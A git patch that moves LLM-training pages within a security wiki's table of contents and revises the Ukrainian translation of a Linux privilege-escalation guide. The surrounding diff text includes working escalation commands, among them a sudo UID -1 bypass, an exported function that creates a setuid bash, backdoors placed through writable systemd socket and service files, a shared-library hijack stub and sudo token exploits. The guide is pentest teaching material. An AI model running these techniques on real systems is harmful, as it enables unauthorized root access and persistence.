From 9c5c6f5fc3435c6d8a3755d5f11cc153cd1c70d1 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 7 Jun 2025 16:45:12 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/README.md'] to uk --- src/SUMMARY.md | 34 +- .../privilege-escalation/README.md | 106 +- .../0.-basic-llm-concepts.md | 285 ----- .../1.-tokenizing.md | 95 -- .../2.-data-sampling.md | 240 ----- .../3.-token-embeddings.md | 203 ---- .../4.-attention-mechanisms.md | 416 -------- .../5.-llm-architecture.md | 666 ------------ .../6.-pre-training-and-loading-models.md | 970 ------------------ .../7.0.-lora-improvements-in-fine-tuning.md | 61 -- .../7.1.-fine-tuning-for-classification.md | 117 --- ...7.2.-fine-tuning-to-follow-instructions.md | 100 -- .../llm-training-data-preparation/README.md | 98 -- 13 files changed, 76 insertions(+), 3315 deletions(-) delete mode 100644 src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md delete mode 100644 src/todo/llm-training-data-preparation/1.-tokenizing.md delete mode 100644 src/todo/llm-training-data-preparation/2.-data-sampling.md delete mode 100644 src/todo/llm-training-data-preparation/3.-token-embeddings.md delete mode 100644 src/todo/llm-training-data-preparation/4.-attention-mechanisms.md delete mode 100644 src/todo/llm-training-data-preparation/5.-llm-architecture.md delete mode 100644 src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md delete mode 100644 src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md delete mode 100644 src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md delete mode 100644 src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md delete mode 100644 src/todo/llm-training-data-preparation/README.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4e7b0adb5..0bfdeb3af 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -793,6 +793,29 @@ - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) - [iOS Exploiting](binary-exploitation/ios-exploiting.md) +# 🤖 AI +- [AI Security](AI/README.md) + - [AI Security Methodology](AI/AI-Deep-Learning.md) + - [AI MCP Security](AI/AI-MCP-Servers.md) + - [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md) + - [AI Models RCE](AI/AI-Models-RCE.md) + - [AI Prompts](AI/AI-Prompts.md) + - [AI Risk Frameworks](AI/AI-Risk-Frameworks.md) + - [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md) + - [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md) + - [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md) + - [LLM Training](AI/AI-llm-architecture/README.md) + - [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md) + - [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md) + - [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md) + - [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md) + - [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md) + - [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md) + - [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md) + - [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md) + - [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md) + - [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md) + # 🔩 Reversing - [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md) @@ -850,17 +873,6 @@ - [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md) - [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md) - [Test LLMs](todo/test-llms.md) -- [LLM Training](todo/llm-training-data-preparation/README.md) - - [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md) - - [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md) - - [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md) - - [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md) - - [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md) - - [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md) - - [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md) - - [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md) - - [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md) - - [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md) - [Burp Suite](todo/burp-suite.md) - [Other Web Tricks](todo/other-web-tricks.md) - [Interesting HTTP$$external:todo/interesting-http.md$$]() diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index f875e64ac..7373233f8 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -35,7 +35,7 @@ searchsploit "Linux Kernel" Ви можете знайти хороший список вразливих ядер та деякі вже **скомпільовані експлойти** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Інші сайти, де ви можете знайти деякі **скомпільовані експлойти**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Щоб витягти всі вразливі версії ядер з цього веб-сайту, ви можете зробити: +Щоб витягти всі вразливі версії ядра з цього веб-сайту, ви можете зробити: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -45,7 +45,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2 [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконати У жертви, перевіряє експлойти лише для ядра 2.x) -Завжди **шукайте версію ядра в Google**, можливо, ваша версія ядра згадується в якому-небудь експлойті ядра, і тоді ви будете впевнені, що цей експлойт дійсний. +Завжди **шукайте версію ядра в Google**, можливо, ваша версія ядра вказана в якому-небудь експлойті ядра, і тоді ви будете впевнені, що цей експлойт дійсний. ### CVE-2016-5195 (DirtyCow) @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Версія Sudo -Виходячи з вразливих версій sudo, які з'являються в: +На основі вразливих версій sudo, які з'являються в: ```bash searchsploit sudo ``` @@ -73,7 +73,7 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg підпис перевірки не вдався +### Dmesg підпис перевірки не вдалося Перевірте **smasher2 box of HTB** для **прикладу** того, як цю уразливість можна експлуатувати ```bash @@ -168,21 +168,21 @@ ps aux ps -ef top -n 1 ``` -Завжди перевіряйте наявність [**electron/cef/chromium debuggers**], які працюють, ви можете зловживати цим для підвищення привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ +Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers**], які працюють, ви можете зловживати цим для ескалації привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ Також **перевірте свої привілеї над бінарними файлами процесів**, можливо, ви зможете перезаписати когось. ### Моніторинг процесів -Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови. +Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні вимоги. ### Пам'ять процесу Деякі служби сервера зберігають **облікові дані у відкритому тексті в пам'яті**.\ -Зазвичай вам потрібні **root-привілеї**, щоб читати пам'ять процесів, які належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже є root і хочете виявити більше облікових даних.\ +Зазвичай вам потрібні **привілеї root**, щоб читати пам'ять процесів, що належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже є root і хочете виявити більше облікових даних.\ Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, якими володієте**. > [!WARNING] -> Зверніть увагу, що в наш час більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете скинути інші процеси, які належать вашому непривабливому користувачу. +> Зверніть увагу, що в даний час більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете скинути інші процеси, які належать вашому непривабливому користувачу. > > Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace: > @@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Невидимі cron завдання -Можливо створити cronjob **додавши символ повернення каретки після коментаря** (без символу нового рядка), і cron завдання буде працювати. Приклад (зверніть увагу на символ повернення каретки): +Можливо створити cron завдання **додавши символ повернення каретки після коментаря** (без символу нового рядка), і cron завдання буде працювати. Приклад (зверніть увагу на символ повернення каретки): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -393,19 +393,19 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -Якщо ви виявите, що можете **записувати** в будь-якій з папок шляху, ви можете мати можливість **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних файлах сервісів**, таких як: +Якщо ви виявите, що можете **записувати** в будь-якій з папок шляху, ви можете мати можливість **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних** файлах сервісів, таких як: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи systemd, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Почати**, **Зупинити**, **Перезавантажити**), ваш **бекдор буде виконано** (зазвичай користувачі без привілеїв не можуть починати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`). +Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи systemd, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Start**, **Stop**, **Reload**), ваш **бекдор буде виконано** (зазвичай неправа користувачі не можуть запускати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`). **Дізнайтеся більше про служби за допомогою `man systemd.service`.** ## **Таймери** -**Таймери** - це файли одиниць systemd, назва яких закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій та монотонних подій часу і можуть виконуватися асинхронно. +**Таймери** - це файли одиниць systemd, назва яких закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть бути використані як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій та монотонних подій часу і можуть виконуватись асинхронно. Ви можете перерахувати всі таймери за допомогою: ```bash @@ -419,7 +419,7 @@ Unit=backdoor.service ``` У документації ви можете прочитати, що таке Unit: -> Юніт, який потрібно активувати, коли цей таймер спливає. Аргумент - це назва юніта, суфікс якого не ".timer". Якщо не вказано, це значення за замовчуванням є сервісом, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб назва юніта, який активується, і назва юніта таймера були однаковими, за винятком суфікса. +> Юніт, який потрібно активувати, коли цей таймер спливає. Аргументом є ім'я юніта, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням є сервісом, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я юніта, який активується, і ім'я юніта таймера були однаковими, за винятком суфікса. Отже, щоб зловживати цим дозволом, вам потрібно: @@ -439,21 +439,21 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li ## Сокети -Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах в рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації і налаштовуються через файли `.socket`. +Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах у рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації та налаштовуються через файли `.socket`. Сокети можна налаштувати за допомогою файлів `.socket`. **Дізнайтеся більше про сокети за допомогою `man systemd.socket`.** У цьому файлі можна налаштувати кілька цікавих параметрів: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці параметри різні, але підсумок використовується для **вказівки, де буде прослуховуватися** сокет (шлях до файлу сокета AF_UNIX, IPv4/6 і/або номер порту для прослуховування тощо) -- `Accept`: Приймає булевий аргумент. Якщо **true**, **екземпляр служби створюється для кожного вхідного з'єднання** і тільки сокет з'єднання передається йому. Якщо **false**, всі сокети прослуховування самі **передаються запущеній одиниці служби**, і тільки одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Приймає одну або кілька командних рядків, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **створені** та прив'язані відповідно. Перший токен командного рядка повинен бути абсолютним іменем файлу, за ним слідують аргументи для процесу. -- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **закриті** та видалені відповідно. -- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням вона відповідає службі, яка має таку ж назву, як сокет (з заміненим суфіксом). У більшості випадків не повинно бути необхідності використовувати цю опцію. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці параметри різні, але підсумок використовується для **вказівки, де буде прослуховуватися** сокет (шлях до файлу сокета AF_UNIX, IPv4/6 та/або номер порту для прослуховування тощо) +- `Accept`: Приймає булевий аргумент. Якщо **true**, **екземпляр служби створюється для кожного вхідного з'єднання** і лише сокет з'єднання передається йому. Якщо **false**, всі сокети, що прослуховують, **передаються запущеній одиниці служби**, і лише одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Приймає одну або кілька командних рядків, які **виконуються перед** або **після** того, як **сокети**/FIFO **створені** та прив'язані відповідно. Перший токен командного рядка повинен бути абсолютним іменем файлу, за ним слідують аргументи для процесу. +- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** того, як **сокети**/FIFO **закриті** та видалені відповідно. +- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням це служба, яка має таку ж назву, як сокет (з заміною суфікса). У більшості випадків не повинно бути необхідності використовувати цю опцію. ### Записувані .socket файли -Якщо ви знайдете **записуваний** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor`, і бекдор буде виконано перед створенням сокета. Тому вам **можливо, доведеться почекати, поки машина перезавантажиться.**\ +Якщо ви знайдете **записуваний** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на зразок: `ExecStartPre=/home/kali/sys/backdoor`, і бекдор буде виконано перед створенням сокета. Тому вам **можливо, доведеться почекати, поки машина перезавантажиться.**\ _Зверніть увагу, що система повинна використовувати цю конфігурацію файлу сокета, інакше бекдор не буде виконано_ ### Записувані сокети @@ -464,7 +464,7 @@ _Зверніть увагу, що система повинна викорис ```bash netstat -a -p --unix ``` -### Сире з'єднання +### Сира з'єднання ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -481,15 +481,15 @@ socket-command-injection.md ### HTTP сокети -Зверніть увагу, що можуть бути деякі **сокети, які слухають HTTP** запити (_Я не говорю про .socket файли, а про файли, які діють як unix сокети_). Ви можете перевірити це за допомогою: +Зверніть увагу, що можуть бути деякі **сокети, що слухають HTTP** запити (_Я не говорю про .socket файли, а про файли, що діють як unix сокети_). Ви можете перевірити це за допомогою: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Якщо сокет **відповідає HTTP** запитом, ви можете **спілкуватися** з ним і, можливо, **використати якусь вразливість**. +Якщо сокет **відповідає HTTP** запитом, ви можете **спілкуватися** з ним і, можливо, **використати деяку вразливість**. ### Записуваний Docker Socket -Docker сокет, зазвичай розташований за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокету може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, а також альтернативні методи, якщо Docker CLI недоступний. +Docker сокет, який зазвичай знаходиться за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокету може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, а також альтернативні методи, якщо Docker CLI недоступний. #### **Підвищення привілеїв за допомогою Docker CLI** @@ -566,7 +566,7 @@ D-Bus — це складна **система міжпроцесорної ко Система є універсальною, підтримуючи базову IPC, яка покращує обмін даними між процесами, нагадуючи **покращені сокети домену UNIX**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безперебійній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth-демона про вхідний дзвінок може змусити музичний плеєр вимкнути звук, покращуючи досвід користувача. Крім того, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити на послуги та виклики методів між додатками, спрощуючи процеси, які раніше були традиційно складними. -D-Bus працює за моделлю **дозволу/заборони**, керуючи дозволами на повідомлення (виклики методів, випуск сигналів тощо) на основі кумулятивного ефекту відповідних правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів. +D-Bus працює за моделлю **дозволу/заборони**, керуючи дозволами на повідомлення (виклики методів, випромінювання сигналів тощо) на основі кумулятивного ефекту відповідних правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів. Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` надається, детально описуючи дозволи для користувача root на володіння, відправку та отримання повідомлень від `fi.w1.wpa_supplicant1`. @@ -614,7 +614,7 @@ lsof -i ``` ### Відкриті порти -Завжди перевіряйте мережеві сервіси, що працюють на машині, з якою ви не змогли взаємодіяти до її доступу: +Завжди перевіряйте мережеві сервіси, що працюють на машині, з якою ви не змогли взаємодіяти перед доступом до неї: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" @@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Деякі версії Linux були під впливом помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) та [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Деякі версії Linux були під впливом помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) і [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Використайте**: **`systemd-run -t /bin/bash`** ### Groups @@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Обхід шляхів виконання Sudo -**Перейдіть** для читання інших файлів або використовуйте **символьні посилання**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Перейдіть** до читання інших файлів або використовуйте **символьні посилання**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -763,15 +763,15 @@ export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Цю техніку також можна використовувати, якщо **suid** бінарний файл **виконує іншу команду, не вказуючи шлях до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінарного файлу)**. +Цю техніку також можна використовувати, якщо **suid** бінар **виконує іншу команду без вказівки шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінару)**. -[Приклади корисного навантаження для виконання.](payloads-to-execute.md) +[Приклади payload для виконання.](payloads-to-execute.md) -### SUID бінарний файл з шляхом до команди +### SUID бінар з шляхом до команди -Якщо **suid** бінарний файл **виконує іншу команду, вказуючи шлях**, тоді ви можете спробувати **експортувати функцію**, названу так само, як команда, яку викликає файл suid. +Якщо **suid** бінар **виконує іншу команду, вказуючи шлях**, тоді ви можете спробувати **експортувати функцію**, названу так само, як команда, яку викликає файл suid. -Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію та експортувати її: +Наприклад, якщо suid бінар викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію та експортувати її: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -840,7 +840,7 @@ sudo LD_LIBRARY_PATH=/tmp ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Наприклад, виникнення помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенціал для експлуатації. +Наприклад, зустріч помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенціал для експлуатації. Щоб експлуатувати це, потрібно створити C файл, скажімо _"/path/to/.config/libcalc.c"_, що міститиме наступний код: ```c @@ -861,7 +861,7 @@ gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` Нарешті, виконання ураженого SUID бінарного файлу має активувати експлойт, що дозволяє потенційне компрометування системи. -## Викрадення спільних об'єктів +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -871,7 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Тепер, коли ми знайшли SUID бінарний файл, що завантажує бібліотеку з папки, куди ми можемо записувати, давайте створимо бібліотеку в цій папці з необхідною назвою: +Тепер, коли ми знайшли SUID бінарний файл, який завантажує бібліотеку з папки, куди ми можемо записувати, давайте створимо бібліотеку в цій папці з необхідною назвою: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -928,7 +928,7 @@ https://gtfoargs.github.io/ Якщо всі ці вимоги виконані, **ви можете ескалувати привілеї, використовуючи:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **перше експлуатаційне** (`exploit.sh`) створить бінарний файл `activate_sudo_token` в _/tmp_. Ви можете використовувати його для **активації токена sudo у вашій сесії** (ви не отримаєте автоматично root-оболонку, виконайте `sudo su`): +- **перше експлуатаційне** (`exploit.sh`) створить бінарний файл `activate_sudo_token` в _/tmp_. Ви можете використовувати його для **активації токена sudo у вашій сесії** (ви не отримаєте автоматично root оболонку, виконайте `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -939,7 +939,7 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- Третій експлойт (`exploit_v3.sh`) створить файл sudoers, який робить токени sudo вічними і дозволяє всім користувачам використовувати sudo. +- Третій експлойт (`exploit_v3.sh`) створить файл sudoers, який робить токени sudo вічними та дозволяє всім користувачам використовувати sudo. ```bash bash exploit_v3.sh sudo su @@ -1007,7 +1007,7 @@ sudo ls Це означає, що конфігураційні файли з `/etc/ld.so.conf.d/*.conf` будуть прочитані. Ці конфігураційні файли **вказують на інші папки**, де **бібліотеки** будуть **шукатися**. Наприклад, вміст файлу `/etc/ld.so.conf.d/libc.conf` є `/usr/local/lib`. **Це означає, що система буде шукати бібліотеки всередині `/usr/local/lib`**. Якщо з якоїсь причини **користувач має права на запис** на будь-який з вказаних шляхів: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, будь-який файл всередині `/etc/ld.so.conf.d/` або будь-яка папка в конфігураційному файлі всередині `/etc/ld.so.conf.d/*.conf`, він може мати можливість підвищити привілеї.\ -Ознайомтеся з **тим, як експлуатувати цю неправильну конфігурацію** на наступній сторінці: +Подивіться на **те, як експлуатувати цю неправильну конфігурацію** на наступній сторінці: {{#ref}} ld.so.conf-example.md @@ -1048,7 +1048,7 @@ execve(file,argv,0); ``` ## Можливості -Linux capabilities надають **підмножину доступних привілеїв root для процесу**. Це ефективно розбиває привілеї root **на менші та відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином, повний набір привілеїв зменшується, знижуючи ризики експлуатації.\ +Linux capabilities надають **підмножину доступних привілеїв root для процесу**. Це ефективно розбиває привілеї root на **менші та відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином, повний набір привілеїв зменшується, знижуючи ризики експлуатації.\ Прочитайте наступну сторінку, щоб **дізнатися більше про можливості та як їх зловживати**: {{#ref}} @@ -1062,9 +1062,9 @@ linux-capabilities.md ## ACL -Списки контролю доступу (ACL) представляють собою вторинний рівень дискреційних дозволів, здатний **перекривати традиційні дозволи ugo/rwx**. Ці дозволи покращують контроль над доступом до файлів або директорій, дозволяючи або заважаючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень **деталізації забезпечує більш точне управління доступом**. Додаткові деталі можна знайти [**тут**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Списки контролю доступу (ACL) представляють собою вторинний рівень дискреційних дозволів, здатний **перекривати традиційні дозволи ugo/rwx**. Ці дозволи покращують контроль над доступом до файлів або директорій, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень **деталізації забезпечує більш точне управління доступом**. Додаткові деталі можна знайти [**тут**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Надайте** користувачу "kali" дозволи на читання та запис для файлу: +**Надайте** користувачу "kali" права на читання та запис для файлу: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ## Відкриті сеанси оболонки В **старих версіях** ви можете **викрасти** деякі **сеанси оболонки** іншого користувача (**root**).\ -В **нових версіях** ви зможете **підключитися** лише до сеансів екрану **вашого власного користувача**. Однак ви можете знайти **цікаву інформацію всередині сеансу**. +В **нових версіях** ви зможете **підключитися** до сеансів екрану лише **вашого власного користувача**. Однак ви можете знайти **цікаву інформацію всередині сеансу**. ### викрадення сеансів екрану @@ -1123,8 +1123,8 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Всі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) між вереснем 2006 року та 13 травня 2008 року, можуть бути під впливом цього багу.\ -Цей баг виникає під час створення нового ssh ключа в цих ОС, оскільки **було можливих лише 32,768 варіацій**. Це означає, що всі можливості можуть бути обчислені, і **маючи ssh публічний ключ, ви можете шукати відповідний приватний ключ**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Усі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) між вереснем 2006 року та 13 травня 2008 року, можуть бути під впливом цього багу.\ +Цей баг виникає при створенні нового ssh ключа в цих ОС, оскільки **було можливих лише 32,768 варіацій**. Це означає, що всі можливості можуть бути обчислені, і **маючи ssh публічний ключ, ви можете шукати відповідний приватний ключ**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Цікаві 